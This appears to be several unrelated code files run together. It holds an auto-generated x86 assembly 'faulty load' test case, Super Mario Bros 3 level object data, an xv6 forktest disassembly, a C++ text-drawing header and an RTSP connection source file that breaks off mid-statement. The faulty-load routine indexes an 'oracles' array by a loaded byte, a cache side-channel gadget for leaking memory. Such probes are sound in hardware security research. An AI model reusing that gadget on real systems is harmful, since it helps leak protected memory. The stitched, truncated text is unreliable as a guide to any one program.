.global s_prepare_buffers s_prepare_buffers: push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x17cc5, %rsi lea addresses_UC_ht+0x16dbf, %rdi nop nop nop nop nop xor %rbp, %rbp mov $106, %rcx rep movsw nop nop and %rbx, %rbx lea addresses_WC_ht+0x5491, %rax nop nop nop nop xor %rbp, %rbp mov $0x6162636465666768, %rdi movq %rdi, (%rax) nop nop add $39231, %rax lea addresses_normal_ht+0x92f1, %rsi lea addresses_normal_ht+0x1b2f1, %rdi clflush (%rsi) clflush (%rdi) nop nop nop nop inc %rdx mov $73, %rcx rep movsb nop nop nop xor $25167, %rdi lea addresses_WC_ht+0x18711, %rsi nop sub %rcx, %rcx mov $0x6162636465666768, %rdi movq %rdi, (%rsi) nop nop nop inc %rbp lea addresses_D_ht+0x131a6, %rsi cmp $59841, %rbx movups (%rsi), %xmm0 vpextrq $1, %xmm0, %rbp nop nop nop sub %rcx, %rcx lea addresses_D_ht+0xcc21, %rcx nop nop and %rbp, %rbp mov $0x6162636465666768, %rdi movq %rdi, %xmm6 movups %xmm6, (%rcx) nop nop nop nop inc %rsi lea addresses_WT_ht+0x18761, %rbx nop nop and $18943, %rdi movl $0x61626364, (%rbx) nop nop nop nop nop and $35972, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r15 push %rbx push %rcx // Faulty Load lea addresses_RW+0x2f1, %r15 nop nop nop cmp %rbx, %rbx movups (%r15), %xmm6 vpextrq $1, %xmm6, %rcx lea oracles, %r11 and $0xff, %rcx shlq $12, %rcx mov (%r11,%rcx,1), %rcx pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'32': 317} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
.byte $01 ; Unknown purpose .byte OBJ_PARATROOPAGREENHOP, $0C, $19 .byte OBJ_PARATROOPAGREENHOP, $12, $19 .byte OBJ_REDTROOPA, $19, $06 .byte OBJ_REDTROOPA, $1C, $03 .byte OBJ_BOBOMB, $25, $19 .byte OBJ_BOBOMB, $27, $19 .byte OBJ_BOBOMB, $29, $19 .byte OBJ_GREENTROOPA, $38, $19 .byte OBJ_GREENTROOPA, $3A, $19 .byte OBJ_REDTROOPA, $4C, $06 .byte OBJ_PARATROOPAGREENHOP, $4E, $19 .byte OBJ_PARATROOPAGREENHOP, $51, $19 .byte OBJ_PARATROOPAGREENHOP, $54, $19 .byte OBJ_REDTROOPA, $56, $06 .byte OBJ_BOBOMB, $5D, $0A .byte OBJ_GREENTROOPA, $63, $07 .byte OBJ_SPINY, $64, $19 .byte $FF ; Terminator
_forktest: file format elf32-i386 Disassembly of section .text: 00000000 <main>: printf(1, "fork test OK\n"); } int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 04 sub $0x4,%esp forktest(); 11: e8 3a 00 00 00 call 50 <forktest> exit(); 16: e8 87 03 00 00 call 3a2 <exit> 1b: 66 90 xchg %ax,%ax 1d: 66 90 xchg %ax,%ax 1f: 90 nop 00000020 <printf>: { 20: 55 push %ebp 21: 89 e5 mov %esp,%ebp 23: 53 push %ebx 24: 83 ec 10 sub $0x10,%esp 27: 8b 5d 0c mov 0xc(%ebp),%ebx write(fd, s, strlen(s)); 2a: 53 push %ebx 2b: e8 a0 01 00 00 call 1d0 <strlen> 30: 83 c4 0c add $0xc,%esp 33: 50 push %eax 34: 53 push %ebx 35: ff 75 08 pushl 0x8(%ebp) 38: e8 85 03 00 00 call 3c2 <write> } 3d: 83 c4 10 add $0x10,%esp 40: 8b 5d fc mov -0x4(%ebp),%ebx 43: c9 leave 44: c3 ret 45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000050 <forktest>: { 50: 55 push %ebp 51: 89 e5 mov %esp,%ebp 53: 53 push %ebx for(n=0; n<N; n++){ 54: 31 db xor %ebx,%ebx { 56: 83 ec 10 sub $0x10,%esp write(fd, s, strlen(s)); 59: 68 64 04 00 00 push $0x464 5e: e8 6d 01 00 00 call 1d0 <strlen> 63: 83 c4 0c add $0xc,%esp 66: 50 push %eax 67: 68 64 04 00 00 push $0x464 6c: 6a 01 push $0x1 6e: e8 4f 03 00 00 call 3c2 <write> 73: 83 c4 10 add $0x10,%esp 76: eb 19 jmp 91 <forktest+0x41> 78: 90 nop 79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(pid == 0) 80: 0f 84 7c 00 00 00 je 102 <forktest+0xb2> for(n=0; n<N; n++){ 86: 83 c3 01 add $0x1,%ebx 89: 81 fb e8 03 00 00 cmp $0x3e8,%ebx 8f: 74 4f je e0 <forktest+0x90> pid = fork(); 91: e8 04 03 00 00 call 39a <fork> if(pid < 0) 96: 85 c0 test %eax,%eax 98: 79 e6 jns 80 <forktest+0x30> for(; n > 0; n--){ 9a: 85 db test %ebx,%ebx 9c: 74 10 je ae <forktest+0x5e> 9e: 66 90 xchg %ax,%ax if(wait() < 0){ a0: e8 05 03 00 00 call 3aa <wait> a5: 85 c0 test %eax,%eax a7: 78 5e js 107 <forktest+0xb7> for(; n > 0; n--){ a9: 83 eb 01 sub $0x1,%ebx ac: 75 f2 jne a0 <forktest+0x50> if(wait() != -1){ ae: e8 f7 02 00 00 call 3aa <wait> b3: 83 f8 ff cmp $0xffffffff,%eax b6: 75 71 jne 129 <forktest+0xd9> write(fd, s, strlen(s)); b8: 83 ec 0c sub $0xc,%esp bb: 68 96 04 00 00 push $0x496 c0: e8 0b 01 00 00 call 1d0 <strlen> c5: 83 c4 0c add $0xc,%esp c8: 50 push %eax c9: 68 96 04 00 00 push $0x496 ce: 6a 01 push $0x1 d0: e8 ed 02 00 00 call 3c2 <write> } d5: 8b 5d fc mov -0x4(%ebp),%ebx d8: c9 leave d9: c3 ret da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi write(fd, s, strlen(s)); e0: 83 ec 0c sub $0xc,%esp e3: 68 a4 04 00 00 push $0x4a4 e8: e8 e3 00 00 00 call 1d0 <strlen> ed: 83 c4 0c add $0xc,%esp f0: 50 push %eax f1: 68 a4 04 00 00 push $0x4a4 f6: 6a 01 push $0x1 f8: e8 c5 02 00 00 call 3c2 <write> exit(); fd: e8 a0 02 00 00 call 3a2 <exit> exit(); 102: e8 9b 02 00 00 call 3a2 <exit> write(fd, s, strlen(s)); 107: 83 ec 0c sub $0xc,%esp 10a: 68 6f 04 00 00 push $0x46f 10f: e8 bc 00 00 00 call 1d0 <strlen> 114: 83 c4 0c add $0xc,%esp 117: 50 push %eax 118: 68 6f 04 00 00 push $0x46f 11d: 6a 01 push $0x1 11f: e8 9e 02 00 00 call 3c2 <write> exit(); 124: e8 79 02 00 00 call 3a2 <exit> write(fd, s, strlen(s)); 129: 83 ec 0c sub $0xc,%esp 12c: 68 83 04 00 00 push $0x483 131: e8 9a 00 00 00 call 1d0 <strlen> 136: 83 c4 0c add $0xc,%esp 139: 50 push %eax 13a: 68 83 04 00 00 push $0x483 13f: 6a 01 push $0x1 141: e8 7c 02 00 00 call 3c2 <write> exit(); 146: e8 57 02 00 00 call 3a2 <exit> 14b: 66 90 xchg %ax,%ax 14d: 66 90 xchg %ax,%ax 14f: 90 nop 00000150 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 53 push %ebx 154: 8b 45 08 mov 0x8(%ebp),%eax 157: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 15a: 89 c2 mov %eax,%edx 15c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 160: 83 c1 01 add $0x1,%ecx 163: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 167: 83 c2 01 add $0x1,%edx 16a: 84 db test %bl,%bl 16c: 88 5a ff mov %bl,-0x1(%edx) 16f: 75 ef jne 160 <strcpy+0x10> ; return os; } 171: 5b pop %ebx 172: 5d pop %ebp 173: c3 ret 174: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 17a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000180 <strcmp>: int strcmp(const char *p, const char *q) { 180: 55 push %ebp 181: 89 e5 mov %esp,%ebp 183: 53 push %ebx 184: 8b 55 08 mov 0x8(%ebp),%edx 187: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 18a: 0f b6 02 movzbl (%edx),%eax 18d: 0f b6 19 movzbl (%ecx),%ebx 190: 84 c0 test %al,%al 192: 75 1c jne 1b0 <strcmp+0x30> 194: eb 2a jmp 1c0 <strcmp+0x40> 196: 8d 76 00 lea 0x0(%esi),%esi 199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 1a0: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 1a3: 0f b6 02 movzbl (%edx),%eax p++, q++; 1a6: 83 c1 01 add $0x1,%ecx 1a9: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 1ac: 84 c0 test %al,%al 1ae: 74 10 je 1c0 <strcmp+0x40> 1b0: 38 d8 cmp %bl,%al 1b2: 74 ec je 1a0 <strcmp+0x20> return (uchar)*p - (uchar)*q; 1b4: 29 d8 sub %ebx,%eax } 1b6: 5b pop %ebx 1b7: 5d pop %ebp 1b8: c3 ret 1b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1c0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 1c2: 29 d8 sub %ebx,%eax } 1c4: 5b pop %ebx 1c5: 5d pop %ebp 1c6: c3 ret 1c7: 89 f6 mov %esi,%esi 1c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001d0 <strlen>: uint strlen(const char *s) { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1d6: 80 39 00 cmpb $0x0,(%ecx) 1d9: 74 15 je 1f0 <strlen+0x20> 1db: 31 d2 xor %edx,%edx 1dd: 8d 76 00 lea 0x0(%esi),%esi 1e0: 83 c2 01 add $0x1,%edx 1e3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1e7: 89 d0 mov %edx,%eax 1e9: 75 f5 jne 1e0 <strlen+0x10> ; return n; } 1eb: 5d pop %ebp 1ec: c3 ret 1ed: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 1f0: 31 c0 xor %eax,%eax } 1f2: 5d pop %ebp 1f3: c3 ret 1f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000200 <memset>: void* memset(void *dst, int c, uint n) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 57 push %edi 204: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 207: 8b 4d 10 mov 0x10(%ebp),%ecx 20a: 8b 45 0c mov 0xc(%ebp),%eax 20d: 89 d7 mov %edx,%edi 20f: fc cld 210: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 212: 89 d0 mov %edx,%eax 214: 5f pop %edi 215: 5d pop %ebp 216: c3 ret 217: 89 f6 mov %esi,%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000220 <strchr>: char* strchr(const char *s, char c) { 220: 55 push %ebp 221: 89 e5 mov %esp,%ebp 223: 53 push %ebx 224: 8b 45 08 mov 0x8(%ebp),%eax 227: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 22a: 0f b6 10 movzbl (%eax),%edx 22d: 84 d2 test %dl,%dl 22f: 74 1d je 24e <strchr+0x2e> if(*s == c) 231: 38 d3 cmp %dl,%bl 233: 89 d9 mov %ebx,%ecx 235: 75 0d jne 244 <strchr+0x24> 237: eb 17 jmp 250 <strchr+0x30> 239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 240: 38 ca cmp %cl,%dl 242: 74 0c je 250 <strchr+0x30> for(; *s; s++) 244: 83 c0 01 add $0x1,%eax 247: 0f b6 10 movzbl (%eax),%edx 24a: 84 d2 test %dl,%dl 24c: 75 f2 jne 240 <strchr+0x20> return (char*)s; return 0; 24e: 31 c0 xor %eax,%eax } 250: 5b pop %ebx 251: 5d pop %ebp 252: c3 ret 253: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000260 <gets>: char* gets(char *buf, int max) { 260: 55 push %ebp 261: 89 e5 mov %esp,%ebp 263: 57 push %edi 264: 56 push %esi 265: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 266: 31 f6 xor %esi,%esi 268: 89 f3 mov %esi,%ebx { 26a: 83 ec 1c sub $0x1c,%esp 26d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 270: eb 2f jmp 2a1 <gets+0x41> 272: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 278: 8d 45 e7 lea -0x19(%ebp),%eax 27b: 83 ec 04 sub $0x4,%esp 27e: 6a 01 push $0x1 280: 50 push %eax 281: 6a 00 push $0x0 283: e8 32 01 00 00 call 3ba <read> if(cc < 1) 288: 83 c4 10 add $0x10,%esp 28b: 85 c0 test %eax,%eax 28d: 7e 1c jle 2ab <gets+0x4b> break; buf[i++] = c; 28f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 293: 83 c7 01 add $0x1,%edi 296: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 299: 3c 0a cmp $0xa,%al 29b: 74 23 je 2c0 <gets+0x60> 29d: 3c 0d cmp $0xd,%al 29f: 74 1f je 2c0 <gets+0x60> for(i=0; i+1 < max; ){ 2a1: 83 c3 01 add $0x1,%ebx 2a4: 3b 5d 0c cmp 0xc(%ebp),%ebx 2a7: 89 fe mov %edi,%esi 2a9: 7c cd jl 278 <gets+0x18> 2ab: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 2ad: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 2b0: c6 03 00 movb $0x0,(%ebx) } 2b3: 8d 65 f4 lea -0xc(%ebp),%esp 2b6: 5b pop %ebx 2b7: 5e pop %esi 2b8: 5f pop %edi 2b9: 5d pop %ebp 2ba: c3 ret 2bb: 90 nop 2bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2c0: 8b 75 08 mov 0x8(%ebp),%esi 2c3: 8b 45 08 mov 0x8(%ebp),%eax 2c6: 01 de add %ebx,%esi 2c8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 2ca: c6 03 00 movb $0x0,(%ebx) } 2cd: 8d 65 f4 lea -0xc(%ebp),%esp 2d0: 5b pop %ebx 2d1: 5e pop %esi 2d2: 5f pop %edi 2d3: 5d pop %ebp 2d4: c3 ret 2d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002e0 <stat>: int stat(const char *n, struct stat *st) { 2e0: 55 push %ebp 2e1: 89 e5 mov %esp,%ebp 2e3: 56 push %esi 2e4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2e5: 83 ec 08 sub $0x8,%esp 2e8: 6a 00 push $0x0 2ea: ff 75 08 pushl 0x8(%ebp) 2ed: e8 f0 00 00 00 call 3e2 <open> if(fd < 0) 2f2: 83 c4 10 add $0x10,%esp 2f5: 85 c0 test %eax,%eax 2f7: 78 27 js 320 <stat+0x40> return -1; r = fstat(fd, st); 2f9: 83 ec 08 sub $0x8,%esp 2fc: ff 75 0c pushl 0xc(%ebp) 2ff: 89 c3 mov %eax,%ebx 301: 50 push %eax 302: e8 f3 00 00 00 call 3fa <fstat> close(fd); 307: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 30a: 89 c6 mov %eax,%esi close(fd); 30c: e8 b9 00 00 00 call 3ca <close> return r; 311: 83 c4 10 add $0x10,%esp } 314: 8d 65 f8 lea -0x8(%ebp),%esp 317: 89 f0 mov %esi,%eax 319: 5b pop %ebx 31a: 5e pop %esi 31b: 5d pop %ebp 31c: c3 ret 31d: 8d 76 00 lea 0x0(%esi),%esi return -1; 320: be ff ff ff ff mov $0xffffffff,%esi 325: eb ed jmp 314 <stat+0x34> 327: 89 f6 mov %esi,%esi 329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000330 <atoi>: int atoi(const char *s) { 330: 55 push %ebp 331: 89 e5 mov %esp,%ebp 333: 53 push %ebx 334: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 337: 0f be 11 movsbl (%ecx),%edx 33a: 8d 42 d0 lea -0x30(%edx),%eax 33d: 3c 09 cmp $0x9,%al n = 0; 33f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 344: 77 1f ja 365 <atoi+0x35> 346: 8d 76 00 lea 0x0(%esi),%esi 349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 350: 8d 04 80 lea (%eax,%eax,4),%eax 353: 83 c1 01 add $0x1,%ecx 356: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 35a: 0f be 11 movsbl (%ecx),%edx 35d: 8d 5a d0 lea -0x30(%edx),%ebx 360: 80 fb 09 cmp $0x9,%bl 363: 76 eb jbe 350 <atoi+0x20> return n; } 365: 5b pop %ebx 366: 5d pop %ebp 367: c3 ret 368: 90 nop 369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000370 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 56 push %esi 374: 53 push %ebx 375: 8b 5d 10 mov 0x10(%ebp),%ebx 378: 8b 45 08 mov 0x8(%ebp),%eax 37b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 37e: 85 db test %ebx,%ebx 380: 7e 14 jle 396 <memmove+0x26> 382: 31 d2 xor %edx,%edx 384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 388: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 38c: 88 0c 10 mov %cl,(%eax,%edx,1) 38f: 83 c2 01 add $0x1,%edx while(n-- > 0) 392: 39 d3 cmp %edx,%ebx 394: 75 f2 jne 388 <memmove+0x18> return vdst; } 396: 5b pop %ebx 397: 5e pop %esi 398: 5d pop %ebp 399: c3 ret 0000039a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 39a: b8 01 00 00 00 mov $0x1,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <exit>: SYSCALL(exit) 3a2: b8 02 00 00 00 mov $0x2,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <wait>: SYSCALL(wait) 3aa: b8 03 00 00 00 mov $0x3,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <pipe>: SYSCALL(pipe) 3b2: b8 04 00 00 00 mov $0x4,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <read>: SYSCALL(read) 3ba: b8 05 00 00 00 mov $0x5,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <write>: SYSCALL(write) 3c2: b8 10 00 00 00 mov $0x10,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <close>: SYSCALL(close) 3ca: b8 15 00 00 00 mov $0x15,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <kill>: SYSCALL(kill) 3d2: b8 06 00 00 00 mov $0x6,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <exec>: SYSCALL(exec) 3da: b8 07 00 00 00 mov $0x7,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <open>: SYSCALL(open) 3e2: b8 0f 00 00 00 mov $0xf,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <mknod>: SYSCALL(mknod) 3ea: b8 11 00 00 00 mov $0x11,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <unlink>: SYSCALL(unlink) 3f2: b8 12 00 00 00 mov $0x12,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <fstat>: SYSCALL(fstat) 3fa: b8 08 00 00 00 mov $0x8,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <link>: SYSCALL(link) 402: b8 13 00 00 00 mov $0x13,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <mkdir>: SYSCALL(mkdir) 40a: b8 14 00 00 00 mov $0x14,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <chdir>: SYSCALL(chdir) 412: b8 09 00 00 00 mov $0x9,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <dup>: SYSCALL(dup) 41a: b8 0a 00 00 00 mov $0xa,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <getpid>: SYSCALL(getpid) 422: b8 0b 00 00 00 mov $0xb,%eax 427: cd 40 int $0x40 429: c3 ret 0000042a <sbrk>: SYSCALL(sbrk) 42a: b8 0c 00 00 00 mov $0xc,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <sleep>: SYSCALL(sleep) 432: b8 0d 00 00 00 mov $0xd,%eax 437: cd 40 int $0x40 439: c3 ret 0000043a <uptime>: SYSCALL(uptime) 43a: b8 0e 00 00 00 mov $0xe,%eax 43f: cd 40 int $0x40 441: c3 ret 00000442 <cps>: SYSCALL(cps) 442: b8 16 00 00 00 mov $0x16,%eax 447: cd 40 int $0x40 449: c3 ret 0000044a <chpr>: SYSCALL(chpr) 44a: b8 17 00 00 00 mov $0x17,%eax 44f: cd 40 int $0x40 451: c3 ret 00000452 <pwd>: SYSCALL(pwd) 452: b8 18 00 00 00 mov $0x18,%eax 457: cd 40 int $0x40 459: c3 ret 0000045a <mv>: SYSCALL(mv) 45a: b8 19 00 00 00 mov $0x19,%eax 45f: cd 40 int $0x40 461: c3 ret
#ifndef __DSTRING_HPP__ #define __DSTRING_HPP__ #include "base.hpp" #include <vector> #include <string> #include <gd.h> #define FONT_PATH (char*)"/usr/share/fonts/truetype/IPAFont/ipagp.ttf" typedef enum { HLEFT, HCENTER, HRIGHT, VTOP, VCENTER, VBOTTOM } STR_ALIGN; typedef struct { std::string text; int width_pixel; int height_pixel; int x_offset; int y_offset; } STR_SIZE; class dstring { private: int font_size; int font_height; int font_y_offset; void calc_size(std::string in_char, POINT* ret_pos, POINT* ret_size); public: dstring(int font_size); void set_font_size(int font_size); std::vector<STR_SIZE> calc_string_area(std::string in_str, int width, POINT* ret_max_size); int draw_string(gdImagePtr image, int x, int y, int width, int height, STR_ALIGN halign, STR_ALIGN valign, int fontcolor, int backcolor, std::string in_str); }; #endif
// PHZ // 2018-6-10 #include "RtspConnection.h" #include "RtspServer.h" #include "MediaSession.h" #include "MediaSource.h" #include "net/SocketUtil.h" #define USER_AGENT "-_-" #define RTSP_DEBUG 0 #define MAX_RTSP_MESSAGE_SIZE 2048 using namespace xop; using namespace std; RtspConnection::RtspConnection(std::shared_ptr<Rtsp> rtsp, TaskScheduler *task_scheduler, SOCKET sockfd) : TcpConnection(task_scheduler, sockfd) , rtsp_(rtsp) , task_scheduler_(task_scheduler) , rtp_channel_(new Channel(sockfd)) , rtsp_request_(new RtspRequest) , rtsp_response_(new RtspResponse) { this->SetReadCallback([this](std::shared_ptr<TcpConnection> conn, xop::BufferReader& buffer) { return this->OnRead(buffer); }); this->SetCloseCallback([this](std::shared_ptr<TcpConnection> conn) { this->OnClose(); }); alive_count_ = 1; rtp_channel_->SetReadCallback([this]() { this->HandleRead(); }); rtp_channel_->SetWriteCallback([this]() { this->HandleWrite(); }); rtp_channel_->SetCloseCallback([this]() { this->HandleClose(); }); rtp_channel_->SetErrorCallback([this]() { this->HandleError(); }); for(int chn=0; chn<MAX_MEDIA_CHANNEL; chn++) { rtcp_channels_[chn] = nullptr; } has_auth_ = true; if (rtsp->has_auth_info_) { has_auth_ = false; auth_info_.reset(new DigestAuthentication(rtsp->realm_, rtsp->username_, rtsp->password_)); } } RtspConnection::~RtspConnection() { } bool RtspConnection::OnRead(BufferReader& buffer) { KeepAlive(); int size = buffer.ReadableBytes(); if (size <= 0) { return false; //close } if (conn_mode_ == RTSP_SERVER) { if (!HandleRtspRequest(buffer)){ return false; } } else if (conn_mode_ == RTSP_PUSHER) { if (!HandleRtspResponse(buffer)) { return false; } } if (buffer.ReadableBytes() > MAX_RTSP_MESSAGE_SIZE) { buffer.RetrieveAll(); } return true; } void RtspConnection::OnClose() { if(session_id_ != 0) { auto rtsp = rtsp_.lock(); if (rtsp) { MediaSession::Ptr media_session = rtsp->LookMediaSession(session_id_); if (media_session) { media_session->RemoveClient(this->GetSocket()); } } } for(int chn=0; chn<MAX_MEDIA_CHANNEL; chn++) { if(rtcp_channels_[chn] && !rtcp_channels_[chn]->IsNoneEvent()) { task_scheduler_->RemoveChannel(rtcp_channels_[chn]); } } } bool RtspConnection::HandleRtspRequest(BufferReader& buffer) { #if RTSP_DEBUG string str(buffer.Peek(), buffer.ReadableBytes()); if (str.find("rtsp") != string::npos || str.find("RTSP") != string::npos) { std::cout << str << std::endl; } #endif if (rtsp_request_->ParseRequest(&buffer)) { RtspRequest::Method method = rtsp_request_->GetMethod(); if(method == RtspRequest::RTCP) { HandleRtcp(buffer); return true; } else if(!rtsp_request_->GotAll()) { return true; } switch (method) { case RtspRequest::OPTIONS: HandleCmdOption(); break; case RtspRequest::DESCRIBE: HandleCmdDescribe(); break; case RtspRequest::SETUP: HandleCmdSetup(); break; case RtspRequest::PLAY: HandleCmdPlay(); break; case RtspRequest::TEARDOWN: HandleCmdTeardown(); break; case RtspRequest::GET_PARAMETER: HandleCmdGetParamter(); break; default: break; } if (rtsp_request_->GotAll()) { rtsp_request_->Reset(); } } else { return false; } return true; } bool RtspConnection::HandleRtspResponse(BufferReader& buffer) { #if RTSP_DEBUG string str(buffer.Peek(), buffer.ReadableBytes()); if (str.find("rtsp") != string::npos || str.find("RTSP") != string::npos) { cout << str << endl; } #endif if (rtsp_response_->ParseResponse(&buffer)) { RtspResponse::Method method = rtsp_response_->GetMethod(); switch (method) { case RtspResponse::OPTIONS: if (conn_mode_ == RTSP_PUSHER) { SendAnnounce(); } break; case RtspResponse::ANNOUNCE: case RtspResponse::DESCRIBE: SendSetup(); break; case RtspResponse::SETUP: SendSetup(); break; case 